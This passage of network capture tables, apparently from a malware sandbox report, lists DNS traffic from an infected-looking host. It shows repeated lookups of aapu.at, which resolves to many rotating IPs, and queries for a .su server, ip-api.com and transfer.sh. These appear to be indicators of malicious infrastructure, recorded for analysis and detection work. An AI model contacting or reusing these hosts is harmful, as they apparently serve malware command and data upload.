Mar 24, 2023 01:26:53.968957901 CET	59444	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:26:53.984621048 CET	53	59444	8.8.8.8	192.168.2.4
Mar 24, 2023 01:26:54.222795010 CET	55570	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:26:54.243165016 CET	53	55570	8.8.8.8	192.168.2.4
Mar 24, 2023 01:26:54.558602095 CET	64906	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:26:54.826572895 CET	53	64906	8.8.8.8	192.168.2.4
Mar 24, 2023 01:26:56.537976980 CET	59446	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:26:56.569081068 CET	53	59446	8.8.8.8	192.168.2.4
Mar 24, 2023 01:26:57.517435074 CET	50861	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:26:57.538434029 CET	53	50861	8.8.8.8	192.168.2.4
Mar 24, 2023 01:26:57.835047960 CET	61088	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:26:57.864507914 CET	53	61088	8.8.8.8	192.168.2.4
Mar 24, 2023 01:26:58.124469042 CET	58729	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:26:58.145114899 CET	53	58729	8.8.8.8	192.168.2.4
Mar 24, 2023 01:26:58.415544033 CET	64700	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:26:58.436327934 CET	53	64700	8.8.8.8	192.168.2.4
Mar 24, 2023 01:26:58.755973101 CET	56022	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:26:58.771507978 CET	53	56022	8.8.8.8	192.168.2.4
Mar 24, 2023 01:26:59.059627056 CET	60822	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:26:59.089163065 CET	53	60822	8.8.8.8	192.168.2.4
Mar 24, 2023 01:26:59.320986032 CET	49750	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:26:59.341818094 CET	53	49750	8.8.8.8	192.168.2.4
Mar 24, 2023 01:27:00.635700941 CET	60550	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:27:00.656327963 CET	53	60550	8.8.8.8	192.168.2.4
Mar 24, 2023 01:27:01.020303011 CET	54851	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:27:01.040975094 CET	53	54851	8.8.8.8	192.168.2.4
Mar 24, 2023 01:27:01.344707966 CET	57300	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:27:01.365406036 CET	53	57300	8.8.8.8	192.168.2.4
Mar 24, 2023 01:27:02.795675039 CET	54521	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:27:02.816349030 CET	53	54521	8.8.8.8	192.168.2.4
Mar 24, 2023 01:27:04.582154989 CET	58914	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:27:04.603105068 CET	53	58914	8.8.8.8	192.168.2.4
Mar 24, 2023 01:27:04.885688066 CET	51419	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:27:04.901180983 CET	53	51419	8.8.8.8	192.168.2.4
Mar 24, 2023 01:27:05.442985058 CET	51054	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:27:05.463255882 CET	53	51054	8.8.8.8	192.168.2.4
Mar 24, 2023 01:27:07.096143007 CET	55673	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:27:07.116672039 CET	53	55673	8.8.8.8	192.168.2.4
Mar 24, 2023 01:27:07.411621094 CET	49735	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:27:07.441150904 CET	53	49735	8.8.8.8	192.168.2.4
Mar 24, 2023 01:27:07.730570078 CET	52437	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:27:07.751117945 CET	53	52437	8.8.8.8	192.168.2.4
Mar 24, 2023 01:27:09.182580948 CET	52825	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:27:09.263140917 CET	53	52825	8.8.8.8	192.168.2.4
Mar 24, 2023 01:27:12.279041052 CET	58530	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:27:12.308355093 CET	53	58530	8.8.8.8	192.168.2.4
Mar 24, 2023 01:27:17.220701933 CET	64959	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:27:17.265584946 CET	53	64959	8.8.8.8	192.168.2.4
Mar 24, 2023 01:27:17.844170094 CET	50433	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:27:17.873671055 CET	53	50433	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 24, 2023 01:26:41.681066036 CET	192.168.2.4	8.8.8.8	0xa392	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:43.588916063 CET	192.168.2.4	8.8.8.8	0xabd7	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:45.724459887 CET	192.168.2.4	8.8.8.8	0x2d8c	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:47.673192978 CET	192.168.2.4	8.8.8.8	0xb5f1	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:48.020807981 CET	192.168.2.4	8.8.8.8	0x1aa1	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:48.626979113 CET	192.168.2.4	8.8.8.8	0x1b57	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:49.912940979 CET	192.168.2.4	8.8.8.8	0x182f	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:50.163022995 CET	192.168.2.4	8.8.8.8	0x7d19	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:50.444092035 CET	192.168.2.4	8.8.8.8	0xd2d1	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:53.609833002 CET	192.168.2.4	8.8.8.8	0xfc2b	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:53.968957901 CET	192.168.2.4	8.8.8.8	0xd542	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:54.222795010 CET	192.168.2.4	8.8.8.8	0x9cfa	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:54.558602095 CET	192.168.2.4	8.8.8.8	0xb405	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:56.537976980 CET	192.168.2.4	8.8.8.8	0x7258	Standard query (0)	radiobridge-egy.com	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:57.517435074 CET	192.168.2.4	8.8.8.8	0x5da7	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:57.835047960 CET	192.168.2.4	8.8.8.8	0x49cf	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.124469042 CET	192.168.2.4	8.8.8.8	0xef9c	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.415544033 CET	192.168.2.4	8.8.8.8	0xe466	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:58.755973101 CET	192.168.2.4	8.8.8.8	0x5c1d	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:59.059627056 CET	192.168.2.4	8.8.8.8	0xe818	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:59.320986032 CET	192.168.2.4	8.8.8.8	0xa815	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:00.635700941 CET	192.168.2.4	8.8.8.8	0x6f9e	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:01.020303011 CET	192.168.2.4	8.8.8.8	0x213c	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:01.344707966 CET	192.168.2.4	8.8.8.8	0x4022	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:02.795675039 CET	192.168.2.4	8.8.8.8	0x7419	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:04.582154989 CET	192.168.2.4	8.8.8.8	0x70c7	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:04.885688066 CET	192.168.2.4	8.8.8.8	0x48d	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:05.442985058 CET	192.168.2.4	8.8.8.8	0x3f2a	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.096143007 CET	192.168.2.4	8.8.8.8	0x2ef	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.411621094 CET	192.168.2.4	8.8.8.8	0x7a0a	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:07.730570078 CET	192.168.2.4	8.8.8.8	0xcfb9	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:09.182580948 CET	192.168.2.4	8.8.8.8	0x708	Standard query (0)	h168121.srv21.test-hf.su	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:12.279041052 CET	192.168.2.4	8.8.8.8	0xb4d5	Standard query (0)	aapu.at	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:17.220701933 CET	192.168.2.4	8.8.8.8	0xba9f	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:27:17.844170094 CET	192.168.2.4	8.8.8.8	0xde85	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Mar 24, 2023 01:26:41.937695026 CET	8.8.8.8	192.168.2.4	0xa392	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:41.937695026 CET	8.8.8.8	192.168.2.4	0xa392	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:41.937695026 CET	8.8.8.8	192.168.2.4	0xa392	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:41.937695026 CET	8.8.8.8	192.168.2.4	0xa392	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:41.937695026 CET	8.8.8.8	192.168.2.4	0xa392	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:41.937695026 CET	8.8.8.8	192.168.2.4	0xa392	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:41.937695026 CET	8.8.8.8	192.168.2.4	0xa392	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:41.937695026 CET	8.8.8.8	192.168.2.4	0xa392	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:41.937695026 CET	8.8.8.8	192.168.2.4	0xa392	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:41.937695026 CET	8.8.8.8	192.168.2.4	0xa392	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:44.116292953 CET	8.8.8.8	192.168.2.4	0xabd7	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:44.116292953 CET	8.8.8.8	192.168.2.4	0xabd7	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:44.116292953 CET	8.8.8.8	192.168.2.4	0xabd7	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:44.116292953 CET	8.8.8.8	192.168.2.4	0xabd7	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:44.116292953 CET	8.8.8.8	192.168.2.4	0xabd7	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:44.116292953 CET	8.8.8.8	192.168.2.4	0xabd7	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:44.116292953 CET	8.8.8.8	192.168.2.4	0xabd7	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:44.116292953 CET	8.8.8.8	192.168.2.4	0xabd7	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:44.116292953 CET	8.8.8.8	192.168.2.4	0xabd7	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:44.116292953 CET	8.8.8.8	192.168.2.4	0xabd7	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:46.133212090 CET	8.8.8.8	192.168.2.4	0x2d8c	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:46.133212090 CET	8.8.8.8	192.168.2.4	0x2d8c	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:46.133212090 CET	8.8.8.8	192.168.2.4	0x2d8c	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:46.133212090 CET	8.8.8.8	192.168.2.4	0x2d8c	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:46.133212090 CET	8.8.8.8	192.168.2.4	0x2d8c	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:46.133212090 CET	8.8.8.8	192.168.2.4	0x2d8c	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:46.133212090 CET	8.8.8.8	192.168.2.4	0x2d8c	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:46.133212090 CET	8.8.8.8	192.168.2.4	0x2d8c	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:46.133212090 CET	8.8.8.8	192.168.2.4	0x2d8c	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:46.133212090 CET	8.8.8.8	192.168.2.4	0x2d8c	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:47.702385902 CET	8.8.8.8	192.168.2.4	0xb5f1	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:47.702385902 CET	8.8.8.8	192.168.2.4	0xb5f1	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:47.702385902 CET	8.8.8.8	192.168.2.4	0xb5f1	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:47.702385902 CET	8.8.8.8	192.168.2.4	0xb5f1	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:47.702385902 CET	8.8.8.8	192.168.2.4	0xb5f1	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:47.702385902 CET	8.8.8.8	192.168.2.4	0xb5f1	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:47.702385902 CET	8.8.8.8	192.168.2.4	0xb5f1	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:47.702385902 CET	8.8.8.8	192.168.2.4	0xb5f1	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:47.702385902 CET	8.8.8.8	192.168.2.4	0xb5f1	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:47.702385902 CET	8.8.8.8	192.168.2.4	0xb5f1	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:48.412786961 CET	8.8.8.8	192.168.2.4	0x1aa1	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:48.412786961 CET	8.8.8.8	192.168.2.4	0x1aa1	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:48.412786961 CET	8.8.8.8	192.168.2.4	0x1aa1	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:48.412786961 CET	8.8.8.8	192.168.2.4	0x1aa1	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:48.412786961 CET	8.8.8.8	192.168.2.4	0x1aa1	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:48.412786961 CET	8.8.8.8	192.168.2.4	0x1aa1	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:48.412786961 CET	8.8.8.8	192.168.2.4	0x1aa1	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:48.412786961 CET	8.8.8.8	192.168.2.4	0x1aa1	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:48.412786961 CET	8.8.8.8	192.168.2.4	0x1aa1	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:48.412786961 CET	8.8.8.8	192.168.2.4	0x1aa1	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:48.656333923 CET	8.8.8.8	192.168.2.4	0x1b57	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:48.656333923 CET	8.8.8.8	192.168.2.4	0x1b57	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:48.656333923 CET	8.8.8.8	192.168.2.4	0x1b57	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:48.656333923 CET	8.8.8.8	192.168.2.4	0x1b57	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:48.656333923 CET	8.8.8.8	192.168.2.4	0x1b57	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:48.656333923 CET	8.8.8.8	192.168.2.4	0x1b57	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:48.656333923 CET	8.8.8.8	192.168.2.4	0x1b57	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:48.656333923 CET	8.8.8.8	192.168.2.4	0x1b57	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:48.656333923 CET	8.8.8.8	192.168.2.4	0x1b57	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:48.656333923 CET	8.8.8.8	192.168.2.4	0x1b57	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:49.929610968 CET	8.8.8.8	192.168.2.4	0x182f	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:49.929610968 CET	8.8.8.8	192.168.2.4	0x182f	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:49.929610968 CET	8.8.8.8	192.168.2.4	0x182f	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:49.929610968 CET	8.8.8.8	192.168.2.4	0x182f	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:49.929610968 CET	8.8.8.8	192.168.2.4	0x182f	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:49.929610968 CET	8.8.8.8	192.168.2.4	0x182f	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:49.929610968 CET	8.8.8.8	192.168.2.4	0x182f	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:49.929610968 CET	8.8.8.8	192.168.2.4	0x182f	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:49.929610968 CET	8.8.8.8	192.168.2.4	0x182f	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:49.929610968 CET	8.8.8.8	192.168.2.4	0x182f	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:50.192181110 CET	8.8.8.8	192.168.2.4	0x7d19	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:50.192181110 CET	8.8.8.8	192.168.2.4	0x7d19	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:50.192181110 CET	8.8.8.8	192.168.2.4	0x7d19	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:50.192181110 CET	8.8.8.8	192.168.2.4	0x7d19	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:50.192181110 CET	8.8.8.8	192.168.2.4	0x7d19	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:50.192181110 CET	8.8.8.8	192.168.2.4	0x7d19	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:50.192181110 CET	8.8.8.8	192.168.2.4	0x7d19	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:50.192181110 CET	8.8.8.8	192.168.2.4	0x7d19	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:50.192181110 CET	8.8.8.8	192.168.2.4	0x7d19	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:50.192181110 CET	8.8.8.8	192.168.2.4	0x7d19	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:50.472621918 CET	8.8.8.8	192.168.2.4	0xd2d1	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:50.472621918 CET	8.8.8.8	192.168.2.4	0xd2d1	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:50.472621918 CET	8.8.8.8	192.168.2.4	0xd2d1	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:50.472621918 CET	8.8.8.8	192.168.2.4	0xd2d1	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:50.472621918 CET	8.8.8.8	192.168.2.4	0xd2d1	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:50.472621918 CET	8.8.8.8	192.168.2.4	0xd2d1	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:50.472621918 CET	8.8.8.8	192.168.2.4	0xd2d1	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:50.472621918 CET	8.8.8.8	192.168.2.4	0xd2d1	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:50.472621918 CET	8.8.8.8	192.168.2.4	0xd2d1	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:50.472621918 CET	8.8.8.8	192.168.2.4	0xd2d1	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:53.638911009 CET	8.8.8.8	192.168.2.4	0xfc2b	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:53.638911009 CET	8.8.8.8	192.168.2.4	0xfc2b	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:53.638911009 CET	8.8.8.8	192.168.2.4	0xfc2b	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:53.638911009 CET	8.8.8.8	192.168.2.4	0xfc2b	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:53.638911009 CET	8.8.8.8	192.168.2.4	0xfc2b	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:53.638911009 CET	8.8.8.8	192.168.2.4	0xfc2b	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:53.638911009 CET	8.8.8.8	192.168.2.4	0xfc2b	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:53.638911009 CET	8.8.8.8	192.168.2.4	0xfc2b	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:53.638911009 CET	8.8.8.8	192.168.2.4	0xfc2b	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:53.638911009 CET	8.8.8.8	192.168.2.4	0xfc2b	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:53.984621048 CET	8.8.8.8	192.168.2.4	0xd542	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:53.984621048 CET	8.8.8.8	192.168.2.4	0xd542	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:53.984621048 CET	8.8.8.8	192.168.2.4	0xd542	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:53.984621048 CET	8.8.8.8	192.168.2.4	0xd542	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:53.984621048 CET	8.8.8.8	192.168.2.4	0xd542	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:53.984621048 CET	8.8.8.8	192.168.2.4	0xd542	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:53.984621048 CET	8.8.8.8	192.168.2.4	0xd542	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:53.984621048 CET	8.8.8.8	192.168.2.4	0xd542	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:53.984621048 CET	8.8.8.8	192.168.2.4	0xd542	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:53.984621048 CET	8.8.8.8	192.168.2.4	0xd542	No error (0)	aapu.at	190.229.19.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:54.243165016 CET	8.8.8.8	192.168.2.4	0x9cfa	No error (0)	aapu.at	109.98.58.98	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:54.243165016 CET	8.8.8.8	192.168.2.4	0x9cfa	No error (0)	aapu.at	86.122.83.142	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:54.243165016 CET	8.8.8.8	192.168.2.4	0x9cfa	No error (0)	aapu.at	175.126.109.15	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:54.243165016 CET	8.8.8.8	192.168.2.4	0x9cfa	No error (0)	aapu.at	211.119.84.111	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:54.243165016 CET	8.8.8.8	192.168.2.4	0x9cfa	No error (0)	aapu.at	2.180.10.7	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:54.243165016 CET	8.8.8.8	192.168.2.4	0x9cfa	No error (0)	aapu.at	175.120.254.9	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:54.243165016 CET	8.8.8.8	192.168.2.4	0x9cfa	No error (0)	aapu.at	211.171.233.126	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:54.243165016 CET	8.8.8.8	192.168.2.4	0x9cfa	No error (0)	aapu.at	211.119.84.112	A (IP address)	IN (0x0001)	false
Mar 24, 2023 01:26:54.243165016 CET	8.8.8.8	192.168.2.4	0x9cfa	No error (0)	aapu.at	211.171.233.129	A (IP address)	IN (0x0001)	false
